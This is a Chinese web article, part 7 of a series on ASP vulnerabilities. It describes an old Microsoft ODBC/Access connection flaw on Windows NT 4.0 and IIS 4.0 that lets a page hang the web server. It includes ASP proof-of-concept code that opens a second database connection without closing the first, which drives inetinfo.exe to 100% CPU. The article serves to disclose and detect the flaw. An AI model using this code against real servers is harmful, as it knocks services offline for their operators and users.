酷站大全
 
闲情雅趣
 
征婚交友
 
影视金曲
 
周公解梦
 
会员中心
技术文档
 
网络文章
 
人物档案
 
网页特效
 
小说阅读
 
笑话大全
项目推荐:网址导航 看电影 听音乐 在线游戏 骗子查询 搞笑证件制作 脑筋急转弯 酒方 成语 QQ空间 民间验方 民间偏方 歇后语 谜语 更多
ASP漏洞分析和解决方法(7)
放大字体显示 缩小字体显示 打印文章 推荐给朋友
猎取网 www.liequ.net 发表者:liequ [放入收藏夹]
18、MS ODBC数据库连接溢出导致NT/9x拒绝服务攻击

  漏 洞 描 述:
  Microsoft ODBC数据库在连接和断开时可能存在潜在的溢出问题(Microsoft ACCESS数据库相关)。
如果不取消连接而直接和第二个数据库相连接,可能导致服务停止。

  影响系统:
ODBC 版本: 3.510.3711.0
ODBC Access驱动版本: 3.51.1029.00
OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386)
Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507)

  漏洞检测方法如下:
ODBC 连接源名称: miscdb
ODBC 数据库型号: MS Access
ODBC 假设路径: d:\data\misc.mdb

ASP代码如下:

<%
set connVB = server.createobject("ADODB.Connection")
connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb"

%>

<html>
<body>
...lots of html removed...
<!-- We Connect to DB1 -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DSN=miscdb;User=sa"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)
While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
'rsGlobal.close
'set rsGlobal = nothing
'connGlobal.close
'set connGlobal = nothing
' Note we do NOT close the connection
%>

<!-- Call the same database by means of DBQ direct file access -->
<%
set connGlobal = server.createobject("ADODB.Connection")
connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)};
DBQ=d:\data\misc.mdb"
mSQL = "arb SQL Statement"
set rsGlobal = connGlobal.execute(mSQL)

While not rsGlobal.eof
Response.Write rsGlobal("resultfrommiscdb")
rsGlobal.movenext
wend
rsGlobal.close
set rsGlobal = nothing
connGlobal.close
set connGlobal = nothing
' Note we DO close the connection
%>

  在这种情况下,IIS处理进程将会停顿,CPU使用率由于inetinfo.exe进程将达到100%。只有重新启动计算机才能恢复。

作者:未知
来源:未知

日期: 2006-11-3




·







·
·






  推荐  
  最新文章  
·如何把ACCESS转成SQL数据库
·列出 IE5 所支持的所有server端变量
·ASP漏洞分析和解决方法(10)
·ASP漏洞分析和解决方法(9)
·ASP漏洞分析和解决方法(8)
·ASP漏洞分析和解决方法(7)
·ASP漏洞分析和解决方法(6)
·ASP漏洞分析和解决方法(5)
·ASP漏洞分析和解决方法(4)
·ASP漏洞分析和解决方法(3)
  文章排行  
·ASP漏洞分析和解决方法(10)
·ASP漏洞分析和解决方法(7)
·使用脚本语言
·ASP漏洞分析和解决方法(9)
·ASP漏洞分析和解决方法(8)
·ASP漏洞分析和解决方法(5)
·ASP漏洞分析和解决方法(6)
·ASP漏洞分析和解决方法(2)
·温柔杀手-跨站Script攻击(3)
·ASP漏洞分析和解决方法(3)
把猎取网设为首页 | 把猎取网放入收藏夹 | 登陆猎取网使用说明 | 与猎取网对话 | 如何把猎取网放到您的桌面
Copyright © 2004-2008 猎取网上精华
网络报警
冀ICP备05004328号